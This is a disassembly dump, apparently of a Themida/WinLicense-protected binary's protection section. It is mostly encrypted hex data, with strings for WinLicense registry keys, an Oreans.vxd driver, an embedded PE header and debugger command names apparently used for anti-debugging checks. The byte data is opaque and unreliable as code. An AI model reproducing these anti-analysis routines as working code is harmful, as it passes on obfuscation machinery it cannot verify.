0EDC6B5DAh, 0A1FA95CDh, 70B6D451h, 0DB44BC5Dh dd 0EBC3CCA3h, 523FD9Bh, 422032CDh, 7949E6C5h, 971474A4h dd 0AB86ADE0h, 38B5056Eh, 0AB86AD43h, 0FD4DA60Fh, 0D66A825Fh dd 77CBE3C0h, 0B2390A26h, 0A7C74D8Dh, 5E000002h, 0BAD06486h dd 172DC1E1h, 778D213Bh, 0DAF08498h, 764FE3FFh, 0E0FCD770h dd 3E5C364Ch, 0A0B694AAh, 119F60Ch, 8D0ABA6Dh, 13A478F6h dd 4D901F64h, 0BA1C6C42h, 4C11C348h, 8D9F1707h, 0A4D8E994h dd 8B086A13h, 13A5DCF4h, 8E7F962h, 0D3B14F9Fh, 351329BDh dd 5731CF1Fh, 6660139h, 0AB959990h, 0FDC3D5C4h, 0E63A522Fh dd 6A15BEC1h, 3340C606h, 0D2000002h, 2E44D8FAh, 8BA13555h dd 0EB0195AFh, 4E64F80Ch, 0EAC35773h, 54704B04h, 0B2D0AAC0h dd 142A081Eh, 758D6A80h, 17E2EE1h, 13A4787Ah, 4D0493D8h dd 0BA1C6C42h, 8279F658h, 501442A0h, 0A0877CE7h, 0EA531442h dd 0BF38Ah, 0ECFE20FEh, 0A4DB0AF3h, 0F5FC813h, 437B9571h dd 1AB896A8h, 7291253Dh, 0C23F8F1Fh, 13A5DB37h, 122806A4h dd 68B82100h, 99D1F1CAh, 5826ECFEh, 9D29617Dh, 0ACFC18F3h dd 719310Eh, 0E3CBC6E5h, 0A31E2193h, 0D737512Dh, 0FA0CE95Eh dd 29D09F1Ch, 1D7F13A5h, 0A529DBA0h, 0FC0E7713h, 0BB40BD1Dh dd 1713A529h, 2D4522AEh, 0F1CE9CD4h, 9D0FA1D9h, 3CCDF99h dd 0B1899B0Bh, 7E122A07h, 3B738B68h, 61C6F15Ch, 125D3A25h dd 48E31B37h, 68455BEFh, 6F4A1850h, 57910353h, 0CABD72B5h dd 0FBC98FA1h, 0FDCB0321h, 90CF0721h, 0D9D59DC9h, 0CE95410h dd 2706A4F4h, 5DF0113h, 8A5126A3h, 94FD13A5h, 718D6882h dd 0C4F35A39h, 5D38275Fh, 0BC97AD41h, 74D668A0h, 0A58A00F7h dd 5365CE13h, 0D455B39h, 58C77F56h, 0B7CD617Dh, 0DD8AC2DAh dd 0ABD6ED64h, 104BFBD2h, 0B5DB809Eh, 7F911A27h, 0DC708865h dd 99D1E9C6h, 6C33A507h, 7855CB7Ah, 5EFB80EBh, 0EE57D418h dd 326A8862h, 906B8597h, 0AB22474h, 0CD2267DCh, 0AF6390F0h dd 2982317Ch, 70ED5117h, 546C4934h, 6E8C6604h, 67899B36h dd 245C7451h, 1C6C424Dh, 0FC8BC99Fh, 0A92688D3h, 0DC7C8BD2h dd 26051780h, 0DD4F29BDh, 5DEEB83Bh, 4273940h, 71D3238Bh dd 7C6A0FF4h, 5062CBDCh, 0BBD6F572h, 3BA4DB9Ah, 49583503h dd 673C37CCh, 2B07A3C4h, 0E53ED911h, 5DDA3C8Ch, 0C4673CA6h dd 0A1BD9834h, 6375CE69h, 0EEC96741h, 0C9A6C0D2h, 1ACC79B1h dd 0F7D70830h, 7653CA7Ah, 0D7B4CA5Eh, 77980EB8h, 0CF28563Ah dd 0D6EAC997h, 5410E79Eh, 60F40CE9h, 5556D4Ah, 7E094F93h dd 0D6127A01h, 0F6FD8F7h, 1E9B7174h, 0F7D6F059h, 0A7338CF5h dd 0DF7AB2CAh, 38107CDh, 10000000h, 7E563E8Dh, 7956245Ch dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh dd 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h, 53000000h dd 4BBh, 5BD82900h, 5C240487h, 81E78957h, 4C7h, 4EF8100h dd 87000000h, 895C243Ch, 89502404h, 405E0h, 0E8830000h dd 24048704h, 240C895Ch, 0E6D28968h, 24048B07h, 6804C483h dd 4140h, 83242489h, 59042404h, 89C78957h, 3C8B0879h, 4C48324h dd 56240C8Bh, 0C681E689h, 4, 8704C683h, 8B5C2434h, 89572404h dd 4C781E7h, 83000000h, 3C8704C7h, 9CE95C24h, 59FFFDA2h dd 7AC70D40h, 0E80D1360h, 0B85D94C0h, 7E6DAD4h, 0E0FFC503h dd 4452712Ch, 3E655C61h, 175E77CBh, 40A5DE7h, 48E26Ch dd 5CB4A75Ah, 2E765453h, 50A61644h, 479B8401h, 6D228A16h dd 1D724AF1h, 5D6E99F5h, 1D2C5FA7h, 2F780FC1h, 208115C9h dd 4904DA2Eh, 24EE9497h, 3D53A836h, 45EB1AAh, 1E3CB047h dd 0D17FD53h, 60A87123h, 17AE9A58h, 8CE9h, 0BD836000h dd 7E41289h, 5840F00h, 0E9000000h, 77h, 3E80006Ah, 8850F30h dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah dd 24h, 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh dd 406A0000h, 2E946h, 6A0000h, 0F203E80h dword_5B00C0 dd 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h, 8D000000h ; DATA XREF: Themida_:00583EC0o dd 0E430C185h, 90509007h, 6A965096h, 6195FF00h, 6107E421h dd 2D85C6C3h, 4D07E42Ch, 0B4C00768h, 24048134h, 6F80B6A1h dd 1DE1B5FFh, 858D07E4h, 7E43BDCh, 8589D0FFh, 7E42161h dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h dd 5C5C0044h, 544E5C2Eh, 454349h, 0E681C08Bh, 4FE587D4h dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501974h dd 0FB8C08Bh, 89000004h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h dd 83585BD3h, 0E40935BDh, 17740007h, 0FB85350h, 89000004h dd 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 80585BD3h, 81668CF5h dd 8BDD10D2h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0BDC4C506h, 0B58BF167h, 7E42FDDh dd 2C2D85C6h, 0E94307E4h, 0Ch, 61CB1B49h, 9C001A28h, 9E9B184Eh dd 0E8D0BF0Fh, 4, 0BC8E6EFCh, 22B96650h, 24448B93h, 0DF27BA04h dd 8B2374h, 89CA8B66h, 66042444h, 8958D68Bh, 0E4155D85h dd 9DB5FF07h, 6A07E401h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 5F05C350h, 3BDC858Dh dd 0B58907E4h, 7E41851h, 1E3D9529h, 0D0FF07E4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A2C35545h, 29DBD2Bh dd 9D8907E4h, 7E40401h, 8E8CBA90h, 8B5000A3h, 6A90D6h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 9EE147C3h, 8166006Ah, 0E86861C6h, 4, 80h, 840F50h, 8B000000h dd 0E9042444h, 10h, 67209FE3h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh dd 0FE8008Bh, 0C0000000h, 9F8C5D36h, 937E7B53h, 412C6C41h dd 5050CA57h, 5A310F52h, 89595F58h, 57042444h, 12E9h, 63D86C00h dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 5FA3EE17h, 4DBD3358h dd 8B07E431h, 0E40A1D95h, 60036A07h, 1FFDBD8Bh, 0D78B07E4h dd 0B5006A61h, 6A036ADEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 1628C352h, 9D89723Ah dd 7E426F9h, 2DBE4B68h, 243481A4h, 642DBE4Bh, 3D57BA66h dd 0DC8B9D8Dh, 953107E6h, 7E42C4Dh, 13E993h, 20E30000h dd 0CC5412BBh, 74E656Fh, 0D89853EEh, 6FC2E8FFh, 6660503Bh dd 579431B9h, 61585E52h, 0DE993h, 3A2A0000h, 3A66391Eh dd 0FC5D66A2h, 299F3790h, 0E40FA99Dh, 66D0FF07h, 40CB13BFh dd 2B1850Fh, 13E90000h, 0F9000000h, 0D21F5C18h, 81BEE0C6h dd 0E743F1Ah, 306D7C49h, 0BE58001Bh, 2943108Fh, 0E8505190h dd 0Fh, 2C6653DCh, 0FDEC8EE3h, 45CD2C38h, 59281797h, 56505F5Eh dd 66FE8B60h, 5E61C88Bh, 39BD8990h, 6A07E42Bh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 8C690231h, 539C934Bh, 85894526h, 7E41E11h, 78DFBC68h dd 8870FA6h, 0F000000h, 281h, 81B7B500h, 20C42404h, 0C5805987h dd 6A036AFDh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0C812C353h, 53E6F253h, 0BF575C50h dd 1F19B531h, 6A07E4h, 95858960h, 2307E42Dh, 0E403B185h dd 13E86107h, 17000000h, 2D359E9h, 3D97BBC3h, 8A7CB036h dd 6BAA491h, 0BE99F42h, 10000000h, 6F1D5A7Eh, 0E003C70Ch dd 6A5F94D5h, 42BE6603h, 74D5680Bh, 800FA61Fh, 0 dd 0D5243481h, 9661F74h, 0E41CFD8Dh, 949D8D07h, 8107E6DCh dd 834DD7EAh, 10E89315h, 4E000000h, 0BF724BEDh, 0C21AE6Ah dd 0F53FA171h, 0F08E885h, 683h, 0F525000h, 59585A31h, 0D6809350h dd 89D0FFE7h, 0E41FF5B5h, 48E0F07h, 66000000h, 4088D2BFh dd 14D850Fh, 0BA580000h, 47A06E26h, 52505090h, 5E8h, 68633C00h dd 0F591DF7h, 0AE931h, 0A7CA0000h, 0D04EE4ECh, 6B3BF6B0h dd 505F585Ah, 0DC461FBEh, 6A9033h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0B4C3D5C3h, 0F7B741Ah dd 681h, 89853100h, 6A07E403h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BC64727h dd 7AA668D7h, 34815C3Eh, 3E7A2624h, 25BD8B5Ch, 6A07E420h dd 0A52EBE03h, 6A7D92h, 89036AFCh, 0E41C4D95h, 71106807h dd 50BF5A8Fh, 813FD562h, 8EF02404h, 8D236570h, 7E40401h dd 0DC9F9D8Dh, 0BD8907E6h, 7E40E59h, 840F5393h, 6, 310F5250h dd 505F585Ah, 66525057h, 0F5E14BFh, 5A5A5731h, 6A935F58h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 4C86C352h, 0CC0F2077h, 8AD843D8h, 0F0B70FD7h dd 11E9D0FFh, 7B000000h, 73F8D721h, 18FFC8AEh, 595365B2h dd 59694915h, 20850F40h, 60000000h, 15D1858Bh, 953107E4h dd 7E409A5h, 618D8B61h, 5807E423h, 152E9h, 0FD8D0100h dd 8B07E409h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0D1C1DF1Bh, 6FD0733Ah, 0C0BA664Bh dd 6A585Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 60D229C3h, 0C3AC2D3Bh, 2C2D85C6h, 8B4307E4h dd 0E4002595h, 0BC086807h, 0FE8CAC0h, 1000000h, 0B063842Ch dd 75FE2723h, 57C8762Dh, 52500BBBh, 0C414BA66h, 8B66310Fh dd 5A585AF0h, 0AF243481h, 600AB6F6h, 14DD9589h, 860F07E4h dd 6, 19B5BD8Bh, 0FF6107E4h, 0E4019DB5h, 7E907h, 5CFA0000h dd 43F9DB61h, 0DC858D8Bh, 2907E43Bh, 0E422418Dh, 6AD0FF07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 7199C350h, 93A6E404h, 38E0Fh, 8B660000h dd 29B250F9h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 1A732439h, 8E95759h, 15000000h, 0F3275EFBh dd 5F2D1F9Dh, 7333CE81h, 0D0FF266Eh, 2B35B529h, 9D8D07E4h dd 7E472B7h, 88D0Fh, 880F0000h, 2, 1B88CB5h, 8B000000h dd 0FFF18AF1h, 11B58BE3h, 8B07E40Ah, 0C08BF5C1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5CC35040h, 32D4162Ah dd 0C9604BBh, 0D6C281FCh, 837567C9h, 0E413F1BDh, 9750007h dd 935BD83h, 740007E4h, 8B535019h, 40FB8C0h, 85890000h dd 7E40EEDh, 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h dd 50177400h, 40FB853h, 85890000h, 7E40EEDh, 0E6F89D8Dh dd 0D3FF07E6h, 9503585Bh, 7E41EF9h, 9159D89h, 8D8B07E4h dd 7E41CFDh, 10E8C08Bh, 0E5000000h, 0FE6AAF83h, 8CF035C2h dd 2B74CA20h, 8ABB048Eh, 12E95FC1h, 39000000h, 1C479D2Bh dd 8102D994h, 897B9476h, 2B551838h, 0ECC781C9h, 8B000071h dd 1C47BAF0h, 8D310000h, 7E41A35h, 8D8B37FFh, 7E4218Dh dd 850F505Bh, 6, 25D98D8Bh, 815907E4h, 73EE08C3h, 12E93Fh dd 9F050000h, 92163012h, 0C2979A10h, 0DFA00514h, 0E762B7Ch dd 0ADFCF381h, 0EA8A7E8Bh, 40EDEB81h, 0C18B0BEFh, 0BD891F89h dd 7E42489h, 0F04EF83h, 48Eh, 0BBE6600h, 1EA8354h, 25850Fh dd 9E90000h, 73000000h, 2C57A32Ah, 8F6AD602h, 22E9h, 8A53C000h dd 0F206EA6Eh, 0D5AD10DBh, 20F6D7BFh, 896B2314h, 0E405F9BDh dd 0FF6EE907h, 0BBA4FFFFh aJGsk db 'ΧGιͺ',0 ; DATA XREF: Themida_:00584914o align 4 aSoftwareWinlic db 'Software\WinLicense',0 aCheckin db 'CheckIN',0 aXprotexit db 'XprotExit',0 aCheckout db 'CheckOUT',0 aWinlicensevers db 'WinLicenseVersion',0 aWinlicensedriv db 'WinLicenseDriverVersion',0 aWinlicenseinst db 'WinLicenseInstance',0 aExitok db 'ExitOk',0 aProcin db 'ProcIN',0 aProcout db 'ProcOUT',0 aExitin db 'ExitIN',0 aExitout db 'ExitOUT',0 aTpin db 'TpIN',0 align 4 dd 2 dup(0) dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 0E6E51385h dd 0F858D07h, 5007E6E5h, 0E479858Dh, 685007E6h, 80000001h dd 0E51F95FFh, 196A07E6h, 0E513B5FFh, 16A07E6h, 858D006Ah dd 7E6E4A8h, 0FB5FF50h, 0FF07E6E5h, 0E4256595h, 0FB5FF07h dd 0FF07E6E5h, 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h dd 8589C307h, 7E6E513h, 0E50F858Dh, 8D5007E6h, 0E6E47985h dd 1685007h, 0FF800000h, 0E6E51F95h, 8D046A07h, 0E6E51385h dd 46A5007h, 858D006Ah, 7E6E4D2h, 0FB5FF50h, 0FF07E6E5h dd 0E4256595h, 0FB5FF07h, 0FF07E6E5h, 0E6E51B95h, 0FB5FF07h dd 0FF07E6E5h, 0E4213595h, 8589C307h, 7E6E513h, 0E50F858Dh dd 8D5007E6h, 0E6E47985h, 1685007h, 0FF800000h, 0E6E51F95h dd 8D046A07h, 0E6E51385h, 46A5007h, 858D006Ah, 7E6E4BAh dd 0FB5FF50h, 0FF07E6E5h, 0E4256595h, 0FB5FF07h, 0FF07E6E5h dd 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h, 8589C307h dd 7E6E513h, 0E50F858Dh, 8D5007E6h, 0E6E47985h, 1685007h dd 0FF800000h, 0E6E51F95h, 8D046A07h, 0E6E51385h, 46A5007h dd 858D006Ah, 7E6E4E5h, 0FB5FF50h, 0FF07E6E5h, 0E4256595h dd 0FB5FF07h, 0FF07E6E5h, 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h dd 0E4213595h, 8589C307h, 7E6E513h, 0E50F858Dh, 8D5007E6h dd 0E6E47985h, 1685007h, 0FF800000h, 0E6E51F95h, 8D046A07h dd 0E6E51385h, 46A5007h, 858D006Ah, 7E6E495h, 0FB5FF50h dd 0FF07E6E5h, 0E4256595h, 0FB5FF07h, 0FF07E6E5h, 0E6E51B95h dd 0FB5FF07h, 0FF07E6E5h, 0E4213595h, 0BD83C307h, 7E4169Dh dd 0B840F00h, 8B000000h, 0E4169D9Dh, 4CC38307h, 83C30389h dd 0E4169DBDh, 840F0007h, 0Bh, 169D9D8Bh, 0C38307E4h, 0C3038950h dd 169DBD83h, 0F0007E4h, 0B84h, 9D9D8B00h, 8307E416h, 38954C3h dd 9DBD83C3h, 7E416h, 0B840Fh, 9D8B0000h, 7E4169Dh, 8958C383h dd 0BD83C303h, 7E4169Dh, 0B840F00h, 8B000000h, 0E4169D9Dh dd 5CC38307h, 0C3C30389h, 13858960h, 8D07E6E5h, 0E6E50F85h dd 858D5007h, 7E6E479h, 16850h, 95FF8000h, 7E6E51Fh, 858D046Ah dd 7E6E513h, 6A046A50h, 0A858D00h, 5007E6E5h, 0E50FB5FFh dd 95FF07E6h, 7E42565h, 13F1BD83h, 0F0007E4h, 0C84h, 0FB5FF00h dd 0FF07E6E5h, 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h dd 60C36107h, 0E5138589h, 858D07E6h, 7E6E50Fh, 79858D50h dd 5007E6E4h, 168h, 1F95FF80h, 6A07E6E5h, 13858D04h, 5007E6E5h dd 6A046Ah, 0E4EC858Dh, 0FF5007E6h, 0E6E50FB5h, 6595FF07h dd 8307E425h, 0E413F1BDh, 840F0007h, 0Ch, 0E50FB5FFh, 95FF07E6h dd 7E6E51Bh, 0E50FB5FFh, 95FF07E6h, 7E42135h, 8960C361h dd 0E6E51385h, 0F858D07h, 5007E6E5h, 0E479858Dh, 685007E6h dd 80000001h, 0E51F95FFh, 46A07E6h, 0E513858Dh, 6A5007E6h dd 8D006A04h, 0E6E4F385h, 0B5FF5007h, 7E6E50Fh, 256595FFh dd 0BD8307E4h, 7E413F1h, 0C840F00h, 0FF000000h, 0E6E50FB5h dd 1B95FF07h, 0FF07E6E5h, 0E6E50FB5h, 3595FF07h, 6107E421h dd 858960C3h, 7E6E513h, 0E50F858Dh, 8D5007E6h, 0E6E47985h dd 1685007h, 0FF800000h, 0E6E51F95h, 8D046A07h, 0E6E51385h dd 46A5007h, 858D006Ah, 7E6E4FBh, 0FB5FF50h, 0FF07E6E5h dd 0E4256595h, 0F1BD8307h, 7E413h, 0C840Fh, 0B5FF0000h dd 7E6E50Fh, 0E51B95FFh, 0B5FF07E6h, 7E6E50Fh, 213595FFh dd 0C36107E4h, 13858960h, 8D07E6E5h, 0E6E50F85h, 858D5007h dd 7E6E479h, 16850h, 95FF8000h, 7E6E51Fh, 858D046Ah, 7E6E513h dd 6A046A50h, 2858D00h, 5007E6E5h, 0E50FB5FFh, 95FF07E6h dd 7E42565h, 13F1BD83h, 0F0007E4h, 0C84h, 0FB5FF00h, 0FF07E6E5h dd 0E6E51B95h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h, 60C36107h dd 0E51385C7h, 107E6h, 858D0000h, 7E6E50Fh, 79858D50h dd 5007E6E4h, 268h, 1F95FF80h, 0B07E6E5h, 0F840FC0h, 0C7000000h dd 0E6E51385h, 7, 4DE900h, 46A0000h, 0E513858Dh, 6A5007E6h dd 8D006A04h, 0E6E48D85h, 0B5FF5007h, 7E6E50Fh, 256595FFh dd 0C00B07E4h, 0F840Fh, 85C70000h, 7E6E513h, 0 dd 0AE9h, 1385C700h, 107E6E5h, 0FF000000h, 0E6E50FB5h dd 3595FF07h, 6107E421h, 0E513858Bh, 60C307E6h, 0E5138589h dd 858D07E6h, 7E6E50Fh, 79858D50h, 5007E6E4h, 168h, 1F95FF80h dd 6A07E6E5h, 13858D04h, 5007E6E5h, 6A046Ah, 0E48D858Dh dd 0FF5007E6h, 0E6E50FB5h, 6595FF07h, 8307E425h, 0E413F1BDh dd 840F0007h, 0Ch, 0E50FB5FFh, 95FF07E6h, 7E6E51Bh, 0E50FB5FFh dd 95FF07E6h, 7E42135h, 8960C361h, 0E6E51385h, 0F858D07h dd 5007E6E5h, 0E479858Dh, 685007E6h, 80000001h, 0E51F95FFh dd 46A07E6h, 0E513858Dh, 6A5007E6h, 8D006A04h, 0E6E49F85h dd 0B5FF5007h, 7E6E50Fh, 256595FFh, 0BD8307E4h, 7E413F1h dd 0C840F00h, 0FF000000h, 0E6E50FB5h, 1B95FF07h, 0FF07E6E5h dd 0E6E50FB5h, 3595FF07h, 6107E421h, 2D85C6C3h, 5207E42Ch dd 0E47B0768h, 0E1B5FFADh, 0FF07E40Dh, 0E41E3995h, 1F858907h dd 0C607E6E5h, 0E42C2D85h, 0E5685207h, 0FF902E00h, 0E40DE1B5h dd 3995FF07h, 8907E41Eh, 0E6E51B85h, 2D85C607h, 5207E42Ch dd 0BF123568h, 0E1B5FFB9h, 0FF07E40Dh, 0E41E3995h, 65858907h dd 0C607E425h, 0E42C2D85h, 34685207h, 0FF987810h, 0E40DE1B5h dd 3995FF07h, 8907E41Eh, 0E4213585h, 2D85C607h, 5207E42Ch dd 5DBD468h, 0E1B5FFC0h, 0FF07E40Dh, 0E41E3995h, 0F9858907h dd 0E907E401h, 20Eh, 6E614333h, 20746F6Eh, 74697277h, 726F2065h dd 736E6165h, 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h dd 74616874h, 69687420h, 69662073h, 6920656Ch, 6F6E2073h dd 65622074h, 20676E69h, 64657375h, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 0E42C2D85h, 86684707h, 0FFE3E45Bh dd 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 10468D0h, 9D8D0000h dd 7E416BDh, 50D0FF53h, 0ED51B58Dh, 0FE8B07E6h, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 2C2D85C6h dd 684307E4h, 0BC8E6EFCh, 19DB5FFh, 858D07E4h, 7E43BDCh dd 0B58DD0FFh, 7E416BDh, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E42C2D85h, 56685707h dd 0FFA69BEEh, 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 35BD8DD0h dd 8D07E401h, 0E6EE778Dh, 57006A07h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 59B58D00h, 8D07E6EBh, 0E6DBD685h dd 8DD0FF07h, 0E472B78Dh, 0B807h, 0E1FF0000h, 2C2D85C6h dd 684307E4h, 0C0764AA7h, 19DB5FFh, 858D07E4h, 7E43BDCh dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h db 73h, 52h a2vsr3vsr db '2vsR3vsR',0 ; DATA XREF: Themida_:0058249Co align 4 dd 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 14E80000h dd 42000000h, 0DB83711Eh, 0D1D316A3h, 5CC84554h, 935F56Fh dd 662025D0h, 8FF5E281h, 3A33BE59h, 0C18168ACh, 6402h dd 438CBE66h, 0B6C02Bh, 800834FFh, 0E85F3FD2h, 9, 53C924Ah dd 1873E2D8h, 5AF18BC6h, 6932C781h, 0F78B0719h, 1A95F781h dd 81660B8Dh, 817398DBh, 0E8DD05F7h, 3C89F959h, 0D1BB6601h dd 0C2816629h, 0E883DC1Ch, 8E902h, 65CA0000h, 0D74BB03Bh dd 484802F2h, 6CA5BE66h, 9CB0F881h, 850FFFFFh, 0FFFFFFA0h dd 12E8h db 0 byte_5B4B69 db 32h, 0CAh, 0EEh ; DATA XREF: Themida_:005826D0o ; Themida_:00582C4Co ... dd 319D85D8h, 0EA613DF8h, 0A636EBAFh, 56296570h, 0AE9h dd 83CE2800h, 0FCFF4C8Eh, 5B5BF03Ah, 99E95Bh, 622F0000h dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h dd 73h, 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh dd 83000000h, 0E72787BDh, 840F0007h, 0Ah, 93585C7h, 107E4h dd 85C60000h, 7E42C2Dh, 2DB16847h, 3481C6DFh, 0B2413C24h dd 9DB5FF56h, 8D07E401h, 0E43BDC85h, 0FFD0FF07h, 80F88BD0h dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1E840F00h dd 47000003h, 0F003F80h, 31484h, 1EE900h, 3F800000h, 6840F00h dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h dd 0F003F80h, 585h, 2E3E900h, 1E90000h, 47000000h, 0F203F80h dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C6E90000h, 0E8000002h dd 0Ah, 0FFFFCBE9h, 2B7E9FFh, 0B58D0000h, 7E72707h, 225E8h dd 9CBD0300h, 8307E727h, 0E7279CBDh, 840F0007h, 0Bh, 13F185C7h dd 107E4h, 8DC30000h, 0E72712B5h, 1FCE807h, 0BD030000h dd 7E7279Ch, 279CBD83h, 0F0007E7h, 0B84h, 3585C700h, 107E409h dd 0C3000000h, 278BB58Dh, 0D3E807E7h, 3000001h, 0E7279CBDh dd 9CBD8307h, 7E727h, 0B840Fh, 85C70000h, 7E41289h, 1 dd 1CB58DC3h, 0E807E727h, 1AAh, 279CBD03h, 0BD8307E7h dd 7E7279Ch, 0B840F00h, 0C7000000h, 0E4093585h, 107h, 0B58DC300h dd 7E72726h, 181E8h, 9CBD0300h, 8307E727h, 0E7279CBDh dd 840F0007h, 15h, 93585C7h, 107E4h, 85C70000h, 7E413F1h dd 1, 34B58DC3h, 0E807E727h, 14Eh, 279CBD03h, 0BD8307E7h dd 7E7279Ch, 0A840F00h, 0C7000000h, 0E42D7D85h, 107h, 3EB58D00h dd 0E807E727h, 126h, 279CBD03h, 0BD8307E7h, 7E7279Ch, 0A840F00h dd 0C7000000h, 0E42D7D85h, 107h, 49B58D00h, 0E807E727h dd 0FEh, 279CBD03h, 0BD8307E7h, 7E7279Ch, 0A840F00h, 0C7000000h dd 0E4261185h, 107h, 4FB58D00h, 0E807E727h, 0D6h, 279CBD03h dd 0BD8307E7h, 7E7279Ch, 0A840F00h, 0C7000000h, 0E4005D85h dd 107h, 55B58D00h, 0E807E727h, 0AEh, 279CBD03h, 0BD8307E7h dd 7E7279Ch, 0A840F00h, 0C7000000h, 0E42EE585h, 107h, 63B58D00h dd 0E807E727h, 86h, 279CBD03h, 0BD8307E7h, 7E7279Ch, 0A840F00h dd 0C7000000h, 0E4241985h, 107h, 70B58D00h, 0E807E727h dd 5Eh, 279CBD03h, 0BD8307E7h, 7E7279Ch, 0A840F00h, 0C7000000h dd 0E40ECD85h, 107h, 7BB58D00h, 0E807E727h, 36h, 279CBD03h dd 0BD8307E7h, 7E7279Ch, 0A840F00h, 0C7000000h, 0E41F2585h dd 107h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 1FE9DE8Bh, 80000000h, 850F003Fh, 5, 0B9h dd 38178A00h, 5840F16h, 0B9000000h, 0 aFga db 'FG>',0 db 0Fh, 84h, 8 dd 0B000000h, 